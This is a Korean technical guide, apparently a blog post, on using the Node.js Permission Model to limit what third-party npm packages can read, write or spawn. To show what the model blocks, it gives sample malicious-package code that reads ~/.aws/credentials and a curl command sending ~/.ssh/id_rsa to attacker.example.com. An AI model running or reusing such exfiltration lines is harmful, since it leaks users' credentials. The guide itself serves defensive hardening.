Node.js Permission Model 실전 가이드 — 파일 시스템 최소 권한 원칙으로 서드파티 패키지의 무단 접근을 차단하는 법
2018년 event-stream 사건은 NPM 공급망 공격의 전환점이었습니다. 유지보수자 계정이 탈취된 뒤 악성 패키지가 월 수천만 건 다운로드되는 의존성 체인에 조용히 삽입됐고, 특정 Bitcoin 지갑 앱을 겨냥한 코드가 몇 주 동안 눈에 띄지 않고 실행됐습니다. 이후 2021년 ua-parser-js 계정 탈취, 2022년 node-ipc의 peacenotwar 모듈 삽입, 같은 해 colors·faker 고의 파괴까지 — 공급망 공격은 반복되는 패턴이 됐습니다.
이 공격들이 공통으로 노리는 것은 간단합니다. ~/.aws/credentials, ~/.ssh/id_rsa, .env 파일처럼 프로세스와 같은 사용자 권한으로 접근 가능한 민감한 파일을 읽거나, 자식 프로세스를 생성해 셸 명령을 실행하는 것입니다. npm install 한 번으로 수백 개의 패키지를 끌어오는 환경에서 그 중 하나만 악성이어도 동일한 위협에 노출됩니다.
Node.js Permission Model은 이 지점을 런타임 수준에서 방어합니다. CLI 플래그로 허용 목록을 정의하면, node:fs API 호출이나 자식 프로세스 생성 시도가 목록 밖이면 즉시 차단됩니다. 기존 애플리케이션 코드를 한 줄도 수정할 필요가 없습니다.
Permission Model의 동작 원리
허용 목록 기반의 동기 검사
Permission Model의 핵심은 "허용 목록에 없으면 즉시 차단"입니다. 프로세스 기동 시 CLI 플래그로 정의된 허용 목록이 Permission Store에 로드되고, 이후 파일 접근이나 프로세스 생성 API 호출이 들어올 때마다 동기적으로 검사합니다.
"동기적으로 검사"라는 점이 중요합니다. 비동기 검사 틈새를 이용하는 TOCTOU(Time-of-Check to Time-of-Use) 공격을 원천 차단합니다. 파일 경로는 realpath를 통해 절대 경로로 정규화하므로, 일반적인 심볼릭 링크 트래버설 시도도 방어됩니다.
다만 한계도 있습니다. 이미 열린 파일 디스크립터를 node:fs로 재사용하는 경우나 특정 상대 심볼릭 링크 구성에서는 우회 가능성이 공식 문서에서도 알려진 한계로 명시됩니다. Permission Model은 완전한 샌드박스가 아니라, 의도치 않은 파일 접근을 제한하는 런타임 레이어로 이해하는 것이 정확합니다.
한 가지 중요한 특성: Permission Store에 기동 이후 새로운 권한을 추가하거나 범위를 확장하는 것은 불가능합니다. 처음 설정한 허용 목록이 프로세스 수명 동안 상한선이 됩니다.
제어 가능한 자원 범주
현재 Permission Model이 제어하는 자원은 파일 시스템, 프로세스, 스레드, 네이티브 확장 영역입니다.
| 플래그 | 제어 대상 |
|---|---|
--allow-fs-read |
node:fs를 통한 파일·디렉터리 읽기 |
--allow-fs-write |
파일·디렉터리 쓰기 |
--allow-child-process |
child_process 모듈 사용 |
--allow-worker |
worker_threads 생성 |
--allow-addons |
네이티브 애드온 로드 |
--allow-wasi |
WebAssembly System Interface 사용 |
네트워크 아웃바운드는 이 목록에 없습니다. Node.js Permission Model은 네트워크 연결을 제어하지 않습니다. 악성 패키지가 수집한 데이터를 외부로 전송하는 것을 Permission Model만으로 막을 수는 없고, 이 영역은 OS 방화벽, 쿠버네티스 NetworkPolicy, 서비스 메시의 이그레스 정책 등 별도 레이어가 담당합니다. 이 점은 뒤의 심층 방어 전략 섹션에서 다시 다루겠습니다.
버전별 플래그 이름
| Node.js 버전 | 플래그 | 상태 |
|---|---|---|
| 20, 22 | --experimental-permission |
실험적 |
| 24+ | --permission |
Stable |
# Node.js 22 LTS
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.js
# Node.js 24 — 플래그 이름만 바뀜
node --permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.jsNode.js 22를 운영 중이라면 --experimental-permission을 사용하고, v24로 업그레이드할 때 플래그 이름만 교체하면 됩니다. experimental이라는 딱지가 붙어 있지만, 이 플래그는 v22 수명 주기 동안 제거되거나 하위 호환성이 깨지지 않습니다.
런타임 검사 API
Permission Model을 활성화하면 process.permission 객체가 제공됩니다. has() 메서드로 현재 프로세스의 권한 보유 여부를 확인할 수 있습니다.
// 특정 경로에 대한 읽기 권한 확인
process.permission.has('fs.read', '/app/src'); // true
process.permission.has('fs.read', '/etc/secrets'); // false
// 자식 프로세스 권한 확인
process.permission.has('child-process'); // false (플래그 미제공 시)Permission Model이 비활성화된 환경에서는 process.permission이 undefined입니다. 개발 환경과 프로덕션을 분리해서 사용하는 경우, 코드에서 분기가 필요하다면 이를 먼저 확인합니다.
if (process.permission) {
if (!process.permission.has('fs.read', configPath)) {
throw new Error(`설정 파일 읽기 권한 없음: ${configPath}`);
}
}실전 적용
Express/Fastify API 서버
외부 API와 내부 DB에 연결하는 API 서버를 예로 들겠습니다. 파일 시스템 접근은 앱 소스와 의존성 모듈 읽기, 로그 쓰기로만 제한합니다.
# Node.js 22
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.js이 설정에서 node_modules 안의 악성 패키지가 ~/.aws/credentials에 접근하려 하면 즉시 차단됩니다.
// 악성 패키지 내부 코드
const creds = fs.readFileSync(process.env.HOME + '/.aws/credentials');
// → Error [ERR_ACCESS_DENIED]: Access to this API has been restricted--allow-child-process를 제공하지 않았으므로, 자식 프로세스로 셸 명령을 실행하는 시도도 마찬가지입니다.
// 악성 패키지 내부 코드
const { execSync } = require('child_process');
execSync('curl -d @~/.ssh/id_rsa https://attacker.example.com');
// → Error [ERR_ACCESS_DENIED]: Access to this API has been restricted허용 경로 설계: 스테이징에서 패턴 파악하기
가장 흔히 고민하는 지점이 node_modules 처리입니다. --allow-fs-read=/app/node_modules처럼 전체를 허용하면 의존성 전체가 파일을 읽을 수 있는 상태가 됩니다. 최소 권한에 가깝게 가려면 앱이 실제로 접근하는 경로를 먼저 파악해야 합니다.
실용적인 접근은 스테이징 환경에서 Permission Model을 활성화하고 ERR_ACCESS_DENIED 에러 로그를 수집해 실제 접근 경로를 파악하는 것입니다. 이 과정에서 앱이 의존성 모듈 외에 어떤 파일에 접근하는지 파악할 수 있고, 허용 목록 설계의 기초 자료가 됩니다.
Docker 배포
FROM node:24-alpine
RUN adduser -D appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "--permission",
"--allow-fs-read=/app",
"--allow-fs-write=/app/logs",
"server.js"]Node.js 22 이미지를 쓰는 경우 --permission을 --experimental-permission으로 교체합니다. 비루트 사용자(appuser)와 Permission Model을 함께 사용하면 컨테이너 탈출 시에도 공격자의 파일 접근 범위가 이중으로 제한됩니다.
CI 검증: 권한 에러를 배포 전에 잡기
HTTP 서버(server.js)를 그대로 실행하면 프로세스가 종료되지 않아 CI step이 무한 대기합니다. Permission Model 환경에서 앱 기동에 필요한 파일 접근이 정상적으로 통과되는지 확인하는 별도 스크립트를 준비하는 것이 낫습니다.
// scripts/permission-smoke.js
import { readFileSync } from 'node:fs';
import { createRequire } from 'node:module';
try {
readFileSync('./package.json', 'utf-8');
const require = createRequire(import.meta.url);
require('./src/config.js');
console.log('Permission 검사 통과');
process.exit(0);
} catch (err) {
console.error('Permission 오류:', err.message);
process.exit(1);
}# .github/workflows/ci.yml
- name: Permission Model 스모크 테스트
run: |
node --experimental-permission \
--allow-fs-read=${{ github.workspace }} \
scripts/permission-smoke.js이 방식으로 CI에서 ERR_ACCESS_DENIED를 미리 잡을 수 있습니다. 실제 통합 테스트가 있다면 해당 테스트를 Permission Model 환경에서 실행하는 것이 더 효과적입니다.
주의 사항과 알려진 한계
실무에서 흔한 실수
실수 1: --allow-fs-read를 루트 경로에 주기
# 실질적으로 파일 읽기를 전혀 제한하지 않음
node --experimental-permission --allow-fs-read=/ server.js
# 실제로 필요한 경로만 명시
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules \
server.js실수 2: 개발 환경에도 동일하게 적용
개발 중에는 동적 파일 접근이 많아 ERR_ACCESS_DENIED가 자주 발생합니다. 환경별로 분리해 프로덕션·스테이징에만 적용하세요.
{
"scripts": {
"start": "node server.js",
"start:prod": "node --permission --allow-fs-read=/app/src,/app/node_modules --allow-fs-write=/app/logs server.js"
}
}실수 3: v22와 v24 플래그 혼용
# v22에서 이렇게 실행하면 Permission Model이 활성화되지 않고 그냥 무시됨
node --permission server.js
# v22에서는 반드시
node --experimental-permission server.js실수 4: 스테이징 검증 없이 프로덕션 직행
권한 에러는 런타임에만 발생합니다. 정적 분석이나 타입 체크로는 미리 감지할 수 없으므로, 반드시 스테이징에서 충분히 검증한 뒤 프로덕션에 배포하세요.
알려진 한계
| 한계 | 내용 |
|---|---|
| 네트워크 접근 미제어 | 환경 변수에 담긴 자격증명을 네트워크로 전송하는 것은 차단 불가 |
| 열린 fd 우회 | Permission Model 활성화 전에 열린 파일 디스크립터는 검사 범위 밖 |
| 심볼릭 링크 일부 우회 | realpath 정규화로 대부분 방어하나, 특정 상대 심볼릭 링크 구성에서 우회 가능성 존재 |
| 완전한 샌드박스 아님 | 의도치 않은 접근 제한에 최적화; 결연한 악성 코드의 완전 차단은 보장하지 않음 |
--env-file 선행 로딩 |
일부 플래그는 Permission Model 초기화 이전에 처리됨 |
심층 방어 전략에서의 위치
Permission Model 하나로 공급망 공격 전체를 막을 수 없습니다. 특히 네트워크 접근을 제어하지 않는다는 점에서, 파일 읽기가 차단되어도 환경 변수를 통한 자격증명 탈취나 메모리 접근 같은 경로는 여전히 열려 있습니다. Permission Model은 여러 방어 레이어 중 하나로 설계하는 것이 맞습니다.
각 레이어의 역할을 정리하면:
- 패키지 분석 도구 (Snyk, Socket.dev): 설치 전 알려진 악성 패키지 탐지
- Node.js Permission Model: 런타임 파일 시스템·프로세스 접근 제한
- OS 방화벽 / K8s NetworkPolicy: 아웃바운드 네트워크 이그레스 제어
- 컨테이너 보안 (Seccomp, SecurityContext): syscall 수준 제어
Permission Model이 커버하지 않는 네트워크 영역은 쿠버네티스 환경이라면 NetworkPolicy로 이그레스 목적지를 명시적으로 제한하는 방식으로 보완할 수 있습니다.
단계별 적용 순서
1단계 — 스테이징에서 접근 패턴 파악
Permission Model을 처음 적용할 때 가장 어려운 부분은 허용 목록에 무엇을 넣어야 하는지 파악하는 것입니다. 스테이징 환경에서 먼저 활성화하고 ERR_ACCESS_DENIED 에러 로그를 수집해 실제 접근 경로를 파악하는 것이 가장 빠릅니다.
2단계 — 최소 권한 목록으로 스테이징 검증
# Node.js 22 — 앱 구조에 맞게 경로 조정
node --experimental-permission \
--allow-fs-read=/app/src,/app/node_modules,/app/package.json \
--allow-fs-write=/app/logs \
server.jsERR_ACCESS_DENIED가 발생하는 경로를 하나씩 확인하며 허용 목록을 다듬습니다. 이 과정에서 실제로 어떤 파일에 접근하는지 파악하게 되고, 불필요한 접근을 걷어낼 기회도 생깁니다.
3단계 — CI와 배포 파이프라인에 검증 통합
앞서 소개한 스모크 테스트 스크립트를 CI 파이프라인에 추가하고, Dockerfile의 CMD를 Permission Model 플래그가 포함된 형태로 고정합니다. 이후 릴리스마다 보안 설정이 유지되는지 자동으로 확인됩니다.
마치며
Node.js Permission Model은 CLI 플래그 몇 줄로 파일 시스템과 프로세스 영역에 허용 목록을 설정해, 서드파티 패키지의 무단 접근을 런타임 수준에서 제한하는 실용적인 보안 레이어입니다. Node.js 24에서 Stable로 승격됐고, Node.js 22 LTS에서도 --experimental-permission으로 동일하게 사용할 수 있습니다.
네트워크 접근을 제어하지 않는다는 한계가 있고, 결연한 악성 코드를 완전히 차단하는 완전한 샌드박스도 아닙니다. 하지만 패키지 분석 도구, 이그레스 제어, 컨테이너 보안과 조합하면 공급망 공격에 대한 실질적인 심층 방어 구조를 만들 수 있습니다. 먼저 스테이징에서 접근 패턴을 파악하고 최소 허용 목록을 설계하는 것이 시작점입니다.
참고 자료
- Node.js v22 공식 Permissions 문서
- Node.js v24 공식 Permissions 문서 (Stable)
- Node.js 24.0.0 릴리스 노트
- Adding a permission system to Node.js — NearForm
- Node process permissions overview — Alexander Reelsen
- Enable Node.js Permission Model — nodejs-security.com
- Embracing Node.js 24's Built-In Tools — Glinteco 2025 Guide
- NPM Security: Preventing Supply Chain Attacks — Snyk